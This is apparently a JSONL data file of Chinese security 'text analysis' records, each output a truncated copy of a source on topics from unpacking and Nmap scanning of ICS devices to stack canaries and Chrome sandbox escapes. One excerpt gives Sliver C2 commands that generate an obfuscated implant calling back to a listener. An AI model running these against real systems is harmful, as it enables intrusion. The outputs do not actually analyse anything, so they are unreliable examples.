h5p://weibo.com/n/aullik5 h5p://t.qq.com/aullik5 博客 h5p://hi.baidu.com/new/aullik5", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n### ESP 定律法要点 ESP定律的原理在于利用程序中堆栈平衡来快速找到OEP. 由于在程序自解密或者自解压过程中, 不少壳会先将当前寄存器状态压栈, 如使用`pushad`, 在解压结束后, 会将之前的寄存器值出栈, 如使用`popad`. 因此在寄存器出栈时, 往往程序代码被恢复, 此时硬件断点触发. 然后在程序当前位置, 只需要少许单步操作, 就很容易到达正确的OEP位置. 1. 程序刚载入开始pushad/pushfd 2. 将全部寄存器压栈后就设对ESP寄存器设硬件断点 3. 运行程序, 触发断点 4. 删除硬件断点开始分析", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# ICS_CTF 发现 > 本栏目内容ICS CTF竞赛内容来自于作者自身打比赛经验如果不对之处请各位老师批评指正 ## 工控设备发现 工控设备发现是工控比赛的前提目前针对工控设备扫描中在NmapMetasploitCenses集成了大量的工具用于挖掘当前在线PLCDCS等ICS设备 ## 工控扫描脚本 ### 基于工控端口的信息扫描脚本 在大量IP中如何发现工控设备,除了工控特殊端口意外大量端口都是正常服务例如ftpsshtelnetsmtpntp等正常网络服务下面列表列举了当前可以利用开源工控扫描脚本 |端口|协议/设备|来源| |:-----|:------|:------| |102(TCP)|siemens s7|nmap --script s7-info.nse -p 102 [host]
nmap -sP --script s71200-enumerate-old.nse -p 102 [host]| |502(TCP)|modbus|nmap --script modicon-info -p 502 [host]| |2404(TCP)|IEC 60870-5-104|nmap -Pn -n -d --script iec-identify.nse --script-args='iec-identify.timeout=500' -p 2404 [host]| |20000(TCP)|DNP3|nmap -sT --script dnp3-enumerate.nse -p 20000 [host]
nmap --script dnp3-info -p 20000 [host]| |44818(TCP)|Ethernet/IP|nmap --script enip-enumerate -sU -p 44818 [host]| |47808(UDP)|BACnet|nmap --script BACnet-discover-enumerate.nse -sU -p 47808 [host]| |1911(TCP)|Tridium Nixagara Fo|nmap --script fox-info.nse -p 1911 [host]| |789(TCP)|Crimson V3|nmap --scripts cr3-fingerprint.nse -p 789 [host]| |9600(TCP)|OMRON FINS|nmap --script ormontcp-info -p 9600 [host]| |1962 (TCP)|PCWorx|nmap --script pcworx-info -p 1962 [host]| |20547(TCP)|ProConOs|nmap --script proconos-info -p 20547 [host]| |5007(TCP)|Melsec-Q|nmap -script melsecq-discover -sT -p 5007 [host]| |5006|Melsec-Q|nmap -script melsecq-discover-udp.nse -sU -p 5006 [host]| |956(TCP)|CSPV4|Unknown| |4840(TCP)|OPCUA|Unknown| |18245(TCP)|GE SRTP|Unknown| |1200(TCP)|Codesys|nmap script codesys-v2-discover.nse [host]| |10001|atg|nmap --script atg-info -p 10001 [host]| |2222|cspv4|nmap --script cspv4-info -p 2222 [host]| |1911|fox|nmap --script fox-info.nse -p 1911 [host]| |4800|moxa|nmap -sU --script moxa-enum -p 4800 [host]| |137|siemens wincc|sudo nmap -sU --script Siemens-WINCC.nse -p137 [host]| |445|stuxnet|nmap --script stuxnet-detect -p 445 [host]| 上述脚本并未完全整列了当前能够使用脚本信息未完待续中...... ### 基于工控组态软件的组件扫描方法 各工控厂商往往自带组态软件组态软件时连接当前内网内设备时可自主发现目标PLC设备 |端口|协议/设备|连接方法| |:-----|:------|:------| |102(TCP)|siemens s7|西", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThe Information Security Experts Copyright 2008 SecureWorks, Inc. All rights reserved. Snort Plug-in Development: Teaching an Old Pig New Tricks Ben Feinstein, CISSP GCFA SecureWorks Counter Threat Unit DEFCON 16 August 8, 2008 The Information Security Experts Copyright 2008 SecureWorks, Inc. All rights reserved. Snort v2 Architecture & Internals Snort Plug-in Development Dynamic Rules Dynamic Preprocessors Snort Plug-in API Examples, Pitfalls, Tips Releasing two Dynamic Preprocessors ActiveX Virtual Killbits (DEMO) Debian OpenSSL Predictable PRNG Detection (DEMO) Whats In This Talk? The Information Security Experts Copyright 2008 SecureWorks, Inc. All rights reserved. Open-source IDS created by Marty Roesch First released for *NIX platforms 1998 Commercialized by Sourcefire, Inc. Snort Inline mode now available for IPS Linux Bridge + Netfilter Linux ip_queue and nf_queue interfaces Snort v3 now making its way through Beta NOT discussing plug-ins for v3 NOT discussing v3 architecture (ask Marty) Snort Basics The Information Security Experts Copyright 2008 SecureWorks, Inc. All rights reserved. Highly modularized for extensibility Snort Rules & The Rules Matching Engine SF Engine Dynamic Plug-in Detection Plug-ins implement/extend rules language Output Plugins Unified / Unified2 Syslog Others Preprocessors Detection (i.e. alerting) Normalization (i.e. decoding) Snort v2 Architecture The Basics The Information Security Experts Copyright 2008 SecureWorks, Inc. All rights reserved. Dynamic Preprocessors Define a packet processing callback Preprocessor local storage Stream-local storage Dynamic Rules Writing Snort rules in C v2.6.x (?), added ability to register a C callback Before, only useful as form of rule obfuscation Used by some commercial Snort rulesets Relatively straight forward to RE using IDA Pro Snort v2 Architecture Run-time (Dynamic) Extensions The Information Security Experts Copyright 2008 SecureWorks, Inc. Al", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\napache 0x00 apacheapache 0x01 apache per-servervirtualhost per-directorydirectorylocationfile apache 0x02 mod_proxy AP_DECLARE_MODULE(proxy) = { STANDARD20_MODULE_STUFF, create_proxy_dir_config, /* create per-directory config structure */ merge_proxy_dir_config, /* merge per-directory config structures */ create_proxy_config, /* create per-server config structure */ merge_proxy_config, /* merge per-server config structures */ proxy_cmds, /* command table */ register_hooks }; static void *create_proxy_dir_config(apr_pool_t *p, char *dummy) { proxy_dir_conf *new = (proxy_dir_conf *) apr_pcalloc(p, sizeof(proxy_dir_conf)); /* Filled in by proxysection, when applicable */ /* Put these in the dir config so they work inside */ new->raliases = apr_array_make(p, 10, sizeof(struct proxy_alias)); new->cookie_paths = apr_array_make(p, 10, sizeof(struct proxy_alias)); new->cookie_domains = apr_array_make(p, 10, sizeof(struct proxy_alias)); new->error_override_codes = apr_array_make(p, 10, sizeof(int)); new->preserve_host_set = 0; new->preserve_host = 0; new->interpolate_env = -1; /* unset */ new->error_override = 0; new->error_override_set = 0; new->add_forwarded_headers = 1; new->add_forwarded_headers_set = 0; new->forward_100_continue = 1; new->forward_100_continue_set = 0; return (void *) new; } a 1 b 2 a 3 /a/b /a/b /a a a=3b=2 mergeproxymerge tatic void *merge_proxy_dir_config(apr_pool_t *p, void *basev, void *addv) { proxy_dir_conf *new = (proxy_dir_conf *) apr_pcalloc(p, sizeof(proxy_dir_conf)); proxy_dir_conf *add = (proxy_dir_conf *) addv; proxy_dir_conf *base = (proxy_dir_conf *) basev; new->p = add->p; new->p_is_fnmatch = add->p_is_fnmatch; new->r = add->r; new->refs = add->refs; /* Put these in the dir config so they work inside */ new->raliases = apr_array_append(p, base->raliases, add->raliases); new->cookie_paths = apr_array_append(p, base->cookie_paths, add->cookie_paths); new->cookie", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Docker > 笔记大部分内容来自 [docker_practice](https://github.com/yeasy/docker_practice) ,仅做内容排版修改 > 部分内容由 [xidaner](https://github.com/xidaner) 提供,仅做部分内容排版修改 --- **常见报错** - Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running? ```bash systemctl daemon-reload service docker restart ``` - docker timeout ```bash echo \"nameserver 8.8.8.8\" > /etc/resolv.conf sudo systemctl daemon-reload sudo systemctl restart docker ``` - 容器 \"Exited (0)\" 自动退出 - 有时镜像内置的执行命令无法正确执行于是容器就 Exited 了 - 尝试在 docker run 命令最后加上或删除 /bin/bash 选项 --- ## 镜像 **镜像管理** ```bash docker search [keyword] # 搜索镜像 docker image ls # 查看已下载的镜像列表 docker image rm [docker_image_id] # 删除本地的 docker 镜像 ``` **镜像体积** docker image ls 标识的所占用空间和在 Docker Hub 上看到的镜像大小不同 比如ubuntu:18.04 镜像大小显示是 63.3MB但是在 Docker Hub 显示的却是 25.47 MB这是因为 Docker Hub 中显示的体积是压缩后的体积在镜像下载和上传过程中镜像是保持着压缩状态的因此 Docker Hub 所显示的大小是网络传输中更关心的流量大小而 docker image ls 显示的是镜像下载到本地后展开的大小准确说是展开后的各层所占空间的总和因为镜像到本地后查看空间的时候更关心的是本地磁盘空间占用的大小 另外,docker image ls 列表中的镜像体积总和并非是所有镜像实际硬盘消耗由于 Docker 镜像是多层存储结构并且可以继承复用因此不同镜像可能会因为使用相同的基础镜像从而拥有共同的层由于 Docker 使用 Union FS相同的层只需要保存一份即可因此实际镜像硬盘占用空间很可能要比这个列表镜像大小的总和要小的多 ```bash docker system df # 查看镜像容器数据卷所占用的空间 ``` **虚悬镜像** 镜像列表中可能存在一个特殊的镜像这个镜像既没有仓库名也没有标签均为 `` 这种镜像原本是有镜像名和标签的比如原来为 mongo:3.2随着官方镜像维护发布了新版本后重新 docker pull mongo:3.2 时mongo:3.2 这个镜像名被转移到了新下载的镜像身上而旧的镜像上的这个名称则被取消从而成为了 除了 docker pull 可能导致这种情况docker build 也同样可以导致这种现象由于新旧镜像同名旧镜像名称被取消从而出现仓库名标签均为 的镜像这类无标签镜像也被称为 虚悬镜像(dangling image) 可以用下面的命令专门显示这类镜像 ```bash docker image ls -f dangling=true ``` 一般来说虚悬镜像已经失去了存在的价值是可以随意删除的可以用下面的命令删除 ```bash docker image prune ``` **中间层镜像** 为了加速镜像构建重复利用资源Docker 会利用 中间层镜像所以在使用一段时间后可能会看到一些依赖的中间层镜像默认的 docker image ls 列表中只会显示顶层镜像如果希望显示包括中间层镜像在内的所有镜像的话需要加 -a 参数 ```bash docker image ls -a ``` 这样会看到很多无标签的镜像与之前的虚悬镜像不同这些无标签的镜像很多都是中间层镜像是其它镜像所依赖的镜像这些无标签镜像不应该删除否则会导致上层镜像因为依赖丢失而出错实际上这些镜像也没必要删除因为之前说过相同的层只会存一遍而这些镜像是别的镜像的依赖因此并不会因为它们被列出来而多存了一份无论如何你也会需要它们只要删除那些依赖它们的镜像后这些依赖的中间层镜像也会被连带删除 ### commit 编辑镜像 ```bash docker run --na", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nMicro-Renovator Bringing Processor Firmware up to Code Bio Matt (a.k.a. Syncsrc) Recovering EE / CompE Builder and user of hardware debug features Uses BIOS and UEFI interchangeably Currently responsible for platform security of a cloud Religiously updates firmware Formerly a product security validation lead at Intel Background Background - Patches for Spectre & Meltdown Meltdown PTI (Linux), KVA Shadow (Windows) Spectre v1 Lfence (forced serialization) Spectre v2 Retpoline (pollutes BTB) - An incomplete fix, per Intel IBRS & IBPB (new MSRs to control BTB) Microcode updates are necessary to expose these new MSRs What is Microcode? Can be thought of as Processor Firmware A Brief History of Microprogramming Can be patched to fix bugs & errata However, processors dont have any non-volatile storage Any applied patches are lost on reset or power-down Stored and applied by the BIOS or Operating System Reloaded on every boot, reset, S3 resume, etc... Intel 64 and IA-32 Architectures SDM Volume 3A, section 9.11.6 Obtaining Microcode Patches From BIOS Updates MacBook and Surface users are covered From Operating System Updates Linux: redistributed by most distros (via microcode_ctl.rpm or intel-microcode.deb) Users can also download microcode.dat directly from Intel Microsoft didnt start distributing microcode until 2 months after it was released Still only distributing for some processor and Windows versions Patches existed, but were impossible to apply to many systems Systems Unable to Patch Spectre Still no way to mitigate Spectre v2 on millions of systems Other than buying a new OS (or a new computer) Windows PCs that are 3 to 9 years old * Mostly shipped with Windows 7 or 8 pre-installed BIOS updates delayed or unavailable 3rd-party microcode update drivers are ineffective * CPUs more than 9 years old are not receiving microcode updates from Intel Systems Unable to Patch Spectre CPU BIOS Updates Windows 7 & 8 Windows 10 8th Gen Availab", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\npackage com.b1ngz.sec.model; /** * Created by b1ngz on 2018/9/8. */ public class Target { private Object param; public Object getParam() { return param; } public void setParam(Object param) { this.param = param; } }", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAPK 流量转发保姆级教程 作者lings- 时间2021/10/02 目 录 绪 论 ............................................................................................................... 1 第 1 章 Burpsuite 证书安装 ........................................................................... 2 1.1 导出 burpsuite 证书 ............................................................................ 2 1.2 将 Burpsuite 证书放置于 Apache2 服务器 ....................................... 3 1.3 下载证书并将证书导入 system 证书目录 ........................................ 3 1.4 若提示权限不足则执行如下命令获取 root 权限 .................... 5 第 2 章 Clash 软件安装及配置 ...................................................................... 6 2.1 下载 Clash ........................................................................................... 6 2.2 编辑配置文件 ..................................................................................... 6 2.2.1 文件内容 ................................................................................... 6 2.2.2 文件格式及修改 ....................................................................... 6 2.3 安装 Clash ........................................................................................... 6 2.4 配置 Clash ........................................................................................... 6 2.4.1 拖入夜神模拟器导入 ............................................................... 6 2.4.2 Apache2 服务器下载导入 ......................................................... 6 2.5 设计全局代理 ..................................................................................... 6 2.6 设置抓取单个 APP 流量 .................................................................... 6 第 3 章 Proxifier 代理配置 ............................................................................ 7 3.1 配置 Windows 全局代理 .................................................................... 7 3.2 添加安卓模拟器流量转发 ................................................................. 8 3.3 Windows 不能上网 .............................................................................. 8 APK 流量转发保姆级教程 lings- 20", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCDnetsec.com Education Masters Degrees in: Computer Science Management Author since 2007 Professional Penetration Testing Ninja Hacking Netcat Power Tools Penetration Testings Open Source Toolkit, V2 Certifications ISSMP, CISSP, SCSECA, SCNA, SCSA, IEM/IAM Crystal Defense Network Security Solutions - CDnetsec.com Education Masters Degrees: Computer Science Organizational Behavior Co-Founder and Operations Manager for Crystal Defense Network Security Solutions MSSP on the Colorado Front Range Crystal Defense Network Security Solutions - CDnetsec.com Learn to identify and evade an Intrusion Prevention System Understand how an IPS is typically deployed, and identify non-typical deployments Rules, rules, rules COTS IPS systems Crystal Defense Network Security Solutions - CDnetsec.com Pre-installed Kali Linux Prefer to have it as the main OS, not virtualized CAT5 cable of sufficient length We didnt know in advance how the rooms would be, so please bear with us when we get everyone connected Patience 4 hours, 4 tasks, a LOT of network congestion This is a HOSTILE NETWORK!! HackingDojo.com Do / Dont Everyone is here to learn, so dont impede others Embrace other peoples genius Workshop = Group Effort, work as a team Workshop != Taking over someone elses keyboard Were here to learn, not be pedantic over terms 99% will be done via shared screen please make sure you can see the presentation HackingDojo.com Lab configuration for the workshop Crystal Defense Network Security Solutions - CDnetsec.com COTS IDS/IPS products Rules Encryption and tunneling Timing attacks Traffic manipulation Resource consumption* Crystal Defense Network Security Solutions - CDnetsec.com Lets begin! Crystal Defense Network Security Solutions - CDnetsec.com Any feedback, please send to: info@CDnetsec.com Crystal Defense Network Security Solutions - CDnetsec.com", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nSliver 是一个基于Go的开源跨平台的红队平台可供各种规模的组织用于执行安全测试 Sliver 的木马 支持 C2 over Mutual-TLSHTTP(S) 和 DNS等协议 implant可以时时编译生成并会使 用证书进行加密 基于Go语言的特性服务器和客户端以及implant都支持 MacOSWindows 和 Linux Github地址:https://github.com/BishopFox/sliver tag:v1.4.22 go语言越来越流行并且作为红队使用语言有很多优势它十分简单代码可以轻松编译为native代码 到各类平台跨平台开发非常容易像py2exe和jar2exe因为没有流行的软件它们生成的工具很容 易被杀毒针对而golang编写的软件像docker等让杀软无法直接查杀golang语言本身的特征这更方 便红队开发进行隐藏自己 重要的是已经有很多开源的成熟的用于红队的代码sliver就是其中之一所以学习下sliver的代 码主要积累一些相关的go代码学习基于go的C2是怎么做的方便之后自己写C2 本文将主要总结Sliver c2的功能原理代码结构以及对抗方面的内容 使用&简介 sliver运行需要配置一些环境变量如gogcc方便生成木马时候进行编译在kali下运行十分简单 因为kali已经内置了这些变量只需要在下载页面https://github.com/BishopFox/sliver/releases 下载 最新的 sliver-server_linux 解压后直接运行即可 输入 http -l 8888 用于开启一个基于http 8888端口的C2 输入 generate --http http://192.168.126.132:8888 生成一个基于http的c2木马 它生成的时候默认会使用 garble 对implant源码进行一遍混淆能够防止被分析 sliver之前的版本使用的gobfuscate在源码层面修改变量以及代码结构速度比较慢相比之下 garble是对中间编译环节进行混淆结构速度比较快也能混淆大部分符号等信息 生成完毕后的exe被点击后 使用 use [id] 选择要控制的机器即可对它进行操控了 代码简介 sliver的代码结构中有三大组件 implant 植入物有点拗口可以理解为木马 server teamserver也可以进行交互操作 client 多用户时可以使用的交互客户端 这三个组件即构成了Sliver的C2服务server也实现了client的功能client就是使用rpc调用server的功 能所以大部分情况下看server和implant就行了 官方Readme上的一些Features和它的实现方式 Dynamic code generation 动态代码生成就是动态生成go源码然后编译 Compile-time obfuscation 使用go-obf混淆生成的go代码 Multiplayer-mode 支持多用户模式 Staged and Stageless payloads Staged 主要是调用msf来生成的payload Procedurally generated C2 over HTTP(S) http混淆协议 Base64 Base64 with a custom alphabet so that it's not interoperable with standard Base64 Hex Standard hexadecimal encoding with ASCII characters Gzip Standard gzip English Encodes arbitrary data as English ASCII text PNG Encodes arbitrary data into valid PNG image files Gzip+English A combination of the Gzip and English encoders Base64+Gzip A combination of the Base64 and Gzip encoders [DNS canary] blue team detection 使用DNS诱饵域名 发现蓝队 Secure C2 over mTLS, WireGuard, HTTP(S), and DNS C2通信支持的协议 mTLS, WireGuard, HTTP(S), DNS Fully scriptable using JavaScript/TypeScript or Python 支持使用JavaScript和Python编写脚本 Local and remote pr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n!!!!Replay!Attacks!on!Ethereum!Smart!Contracts Zhenxuan!Bai,!Yuwei!Zheng,!!Kunzhe!ChaiSenhua!Wang About!us 360!Technology!is!a!leading!Internet!security!company!in!China.!Our!core! products!are!anti-virus!security!software!for!PC!and!cellphones.! UnicornTeam!(https://unicorn.360.com/)!was!built!in!2014.!This!is!a!group! that!focuses!on!the!security!issues!in!many!kinds!of!wireless! telecommunication!systems.!The!team!also!encourage!members!to!do!other! research!that!they!are!interested!in.! Highlighted!works!of!UnicornTeam!include:! Low-cost!GPS!spoofing!research!(DEFCON!23)! LTE!redirection!attack!(DEFCON!24)! Attack!on!power!line!communication!(Black!Hat!USA!2016) PPTwww.1ppt.com/moban/!!!!!!!!!!!!!!!!!!PPTwww.1ppt.com/sucai/! PPTwww.1ppt.com/beijing/!!!!!!!!!!!!!!!!!!!PPTwww.1ppt.com/tubiao/!!!!!!! PPTwww.1ppt.com/xiazai/!!!!!!!!!!!!!!!!!!!!!PPTwww.1ppt.com/powerpoint/!!!!!!! www.1ppt.com/ziliao/!!!!!!!!!!!!!!!!!!!www.1ppt.com/fanwen/!!!!!!!!!!!!!! www.1ppt.com/shiti/!!!!!!!!!!!!!!!!!!!!!www.1ppt.com/jiaoan/!!!!!!!!!!!!!!!! PPTwww.1ppt.cn!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!PPTwww.1ppt.com/kejian/!! www.1ppt.com/kejian/yuwen/!!!!www.1ppt.com/kejian/shuxue/!! www.1ppt.com/kejian/yingyu/!!!!www.1ppt.com/kejian/meishu/!! www.1ppt.com/kejian/kexue/!!!!!www.1ppt.com/kejian/wuli/!! www.1ppt.com/kejian/huaxue/!!www.1ppt.com/kejian/shengwu/!! www.1ppt.com/kejian/dili/!!!!!!!!!!www.1ppt.com/kejian/lishi/!!!!!!!!! Part!1 Part!2 Part!3 Part!4 The!Main!Idea Back!Ground! Demonstration Safety!Problem Replay!Attack Part!1 Back Ground Blockchain & smart contract & Ethereum What is Blockchain? Blockchain is: A!Large-scale!globally!decentralized!computer! network!! A!system!that!users!can!interact!with!by!sending! transactions! !Transactions!are!guaranteed!by! Consensus!Mechanism! Advantages of Blockchain having!the!unified!database!with!rapid!consensus! With!large-scale!fault-tolerant!mechanism! Not!relying!on!trust,!not!controlled!by!any!single!administrator!or! organiz", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBeyond the Lulz: Black Hat Trolling, White Hat Trolling, and Hacking the Attention Landscape SECTION 1 Are you familiar with fishing? Trolling is where you set your fishing lines in the water and then slowly go back and forth dragging the bait and hoping for a bite. Trolling on the Net is the same concept - someone baits a post and then waits for the bite on the line and then enjoys the ensuing fight. - Anonymous usenet poster, 1995 (relayed by Judith Donath, Identity and Deception in the Virtual Community, 1998) The well-constructed troll is a post that induces lots of newbies and flamers to make themselves look even more clueless than they already do, while subtly conveying to the more savvy and experienced that it is in fact a deliberate troll. If you don't fall for the joke, you get to be in on it. - Trollers FAQ by trollfaq@altairiv.demon.co.uk, 1996 Being a prick on the internet because you can. Typically unleashing one or more cynical or sarcastic remarks on an innocent by-stander, because its the internet and, hey, you can. - EREALLY GUD DEFUNITION MAKUR, Urban Dictionary, 2004 A smart vendor treats vulnerabilities less as a software problem, and more as a PR problem. So if we, the user community, want software vendors to patch vulnerabilities, we need to make the PR problem more acute. - Bruce Schneier, 2007 Laughter at the expense or misfortune of others. - A troll to Gabriella Coleman, Hacker, Hoaxer, Whistleblower, Spy, 2014 Part of: a rich aesthetic tradition of spectacle and transgression... which includes the irreverent legacy of phreakers and the hacker underground. - Gabriella Coleman, Phreaks, Hackers, and Trolls: The Politics of Transgression and Spectacle, 2012 The best challenge to the authority of something is to find where its semantic or enforceable borders break down and to exploit those shortcomings. - Brad Troemel, proclaimed the Troll of Internet Art, 2012 Weve come up with the menacing term 'troll' for someone who spreads hate and does o", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n.\\\" Copyright (c) 1998 Andries Brouwer .\\\" .\\\" This is free documentation; you can redistribute it and/or .\\\" modify it under the terms of the GNU General Public License as .\\\" published by the Free Software Foundation; either version 2 of .\\\" the License, or (at your option) any later version. .\\\" .\\\" The GNU General Public License's references to \"object code\" .\\\" and \"executables\" are to be interpreted as the output of any .\\\" document formatting or typesetting system, including .\\\" intermediate and printed output. .\\\" .\\\" This manual is distributed in the hope that it will be useful, .\\\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\\\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\\\" GNU General Public License for more details. .\\\" .\\\" You should have received a copy of the GNU General Public .\\\" License along with this manual; if not, write to the Free .\\\" Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111, .\\\" USA. .\\\" .TH GLOB 7 \"12 June 1998\" \"Unix\" \"Linux Programmer's Manual\" .SH NAME glob \\- 形成路径名称 .SH \"描述 (DESCRIPTION)\" 很久以前 在 UNIX V6 版 中 有一个 程序 .I /etc/glob 用来 展开 通配符模板. 不久以后 它 成为 shell 内建功能. 现在 人们 开发了 类似的 库函数 .BR glob (3), 让 用户程序 实现 同样的 功能. 此 规则 遵循 (POSIX 1003.2, 3.13). .SH \"通配符匹配 (WILDCARD MATCHING)\" 包含 '?', '*' 或 '[' 字符的 字符串 称为 通配符模板(wildcard pattern). 形成路径名(globbing) 指 一种 操作, 把 通配符模板 展开为 匹配 该串的 路径名. 匹配 定义为: 不在 方括弧中 的 '?' 匹配 任意 单个 字符. 不在 方括弧中 的 '*' 匹配 任意 字符串, 包括 空串. .SS \"字符集 (Character classes)\" 对于 表达式 `[...]', 如果 在 第一个 '['符 后面 出现的 第一个 字符 不是 '!', 则 该 表达式 匹配 任意 一个 在 `[...]'内 出现的 字符. 方括弧内 不能 有 空串, 因此 ']' 可以 作为 第一个 字符 出现在 方括弧内. (像 这样, '[][!]' 匹配 下列 三个 字符 中的 任意 一个, '[', ']' 和 '!'.) .SS \"范围集 (Ranges)\" 字符集 有一个 特例: 用 '-' 分开的 两个 字符 表示 一个 范围集. (像 这样, `[A-Fa-f0-9]' 等于 `[ABCDEFabcdef0123456789]'.) 把 '-' 放到 方括弧内 的 开头 或 最后 可以 获得 它的 本意. (像 这样, `[]-]' 匹配 ']'和'-' 中 任意 一个. 而 `[--/]' 匹配 `-', `.' 和`/'中 任意 一个.) .SS \"补集 (Complementation)\" 表达式 '[!...]' 表示 一个 字符, 该 字符 不匹配 方括弧内 去掉 开头 '!' 后 的 表达式. (像 这样, `[!]a-]' 匹配 除了 ']'", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n### Canary介绍 Canary 的意思是金丝雀来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子工人们每次下井都会带上一只金丝雀如果井下的气体有毒金丝雀由于对毒性敏感就会停止鸣叫甚至死亡从而使工人们得到预警 我们知道通常栈溢出的利用方式是通过溢出存在于栈上的局部变量从而让多出来的数据覆盖 ebpeip 等从而达到劫持控制流的目的栈溢出保护是一种缓冲区溢出攻击缓解手段当函数存在缓冲区溢出攻击漏洞时攻击者可以覆盖栈上的返回地址来让 shellcode 能够得到执行当启用栈保护后函数开始执行的时候会先往栈底插入 cookie 信息当函数真正返回的时候会验证 cookie 信息是否合法(栈帧销毁前测试该值是否被改变)如果不合法就停止程序运行(栈溢出发生)攻击者在覆盖返回地址的时候往往也会将 cookie 信息给覆盖掉导致栈保护检查失败而阻止 shellcode 的执行避免漏洞利用成功在 Linux 中我们将 cookie 信息称为 Canary 由于 stack overflow 而引发的攻击非常普遍也非常古老相应地一种叫做 Canary 的 mitigation 技术很早就出现在 glibc 里直到现在也作为系统安全的第一道防线存在 Canary 不管是实现还是设计思想都比较简单高效就是插入一个值在 stack overflow 发生的高危区域的尾部当函数返回之时检测 Canary 的值是否经过了改变以此来判断 stack/buffer overflow 是否发生 Canary 与 Windows 下的 GS 保护都是缓解栈溢出攻击的有效手段它的出现很大程度上增加了栈溢出攻击的难度并且由于它几乎并不消耗系统资源所以现在成了 Linux 下保护机制的标配 ### 在 GCC 中使用 Canary 可以在 GCC 中使用以下参数设置 Canary: ``` -fstack-protector 启用保护不过只为局部变量中含有数组的函数插入保护 -fstack-protector-all 启用保护为所有函数插入保护 -fstack-protector-strong -fstack-protector-explicit 只对有明确 stack_protect attribute 的函数开启保护 -fno-stack-protector 禁用保护 ``` ### Canary 实现原理 开启 Canary 保护的 stack 结构大概如下 ``` High Address | | +-----------------+ | args | +-----------------+ | return address | +-----------------+ rbp => | old ebp | +-----------------+ rbp-8 => | canary value | +-----------------+ | local variables | Low | | Address ``` 当程序启用 Canary 编译后在函数序言部分会取 fs 寄存器 0x28 处的值存放在栈中 %ebp-0x8 的位置 这个操作即为向栈中插入 Canary 值代码如下 ```asm mov rax, qword ptr fs:[0x28] mov qword ptr [rbp - 8], rax ``` 在函数返回之前会将该值取出并与 fs:0x28 的值进行异或如果异或的结果为 0说明 Canary 未被修改函数会正常返回这个操作即为检测是否发生栈溢出 ```asm mov rdx,QWORD PTR [rbp-0x8] xor rdx,QWORD PTR fs:0x28 je 0x4005d7 call 0x400460 <__stack_chk_fail@plt> ``` 如果 Canary 已经被非法修改此时程序流程会走到 `__stack_chk_fail``__stack_chk_fail` 也是位于 glibc 中的函数默认情况下经过 ELF 的延迟绑定定义如下 ```C eglibc-2.19/debug/stack_chk_fail.c void __attribute__ ((noreturn)) __stack_chk_fail (void) { __fortify_fail (\"stack smashing detected\"); } void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg) { /* The loop is added only to keep gcc happy. *", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBreaking the Chrome Sandbox with Mojo _tsuro@, 2022 No memory was corrupted in the making of this presentation Kernel Browser Process Renderer Renderer Renderer Renderer Network GPU Renderer Browser Process Network URLLoader NetworkService NetworkContext ... RendererHost BlobRegistry GpuHost ... Renderer Browser Process Network URLLoader NetworkService NetworkContext ... RendererHost BlobRegistry GpuHost ... Renderer Browser Process Port X Port Y Port Z ... Port A Port B Port C ... To: X REQUEST_INTRODUCTION INTRODUCE BROADCAST_EVENT ACCEPT_INVITATION Data Data Data Data EVENT_MESSAGE EVENT_MESSAGE ... Data EVENT_MESSAGE kUserMessage kMergePort ... port_name port_name port_name Data Data Data OffensiveCon 2020 - Popping Calc with Hardware Vulnerabilities Leaking ports == bad ? Browser Renderer Network ? 0 ! ! ! ! 0 ! ? Socket is closed Browser process Delete peer node Node name reused Destroy all ports with peer Browser thread 2 Prepare to send message Read node name from port Send message (to wrong node) ? 1. leak port name 2. spoof message Socket is closed Browser process Delete peer node Node name reused Destroy all ports with peer Network Process Port OnError handlers Send PortClosed events ChildProcessHost: kill(child) Socket is closed Port OnError handlers ChildProcessHost: exit() Destroy all ports with peer Delete peer node I have a dangerous fascination with terrible bugs. @halvarflake Socket is closed Browser process Delete peer node Node name reused Destroy all ports with peer Network Process Port OnError handlers Send PortClosed events ChildProcessHost: kill(child) Socket is closed Port OnError handlers ChildProcessHost: exit() Destroy all ports with peer Delete peer node These are tasks on the IO thread Socket is closed Browser process Delete peer node Node name reused Destroy all ports with peer Port OnError handlers Send PortClosed events ChildProcessHost: kill(child) Network Process Socket is closed Port OnError handlers ChildProcessHost: exit() Destr", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# 反序列化 --- ```py import pickle class A(object): a = 1 b = 2 def run(self): print(self.a,self.b) print(pickle.dumps(A())) 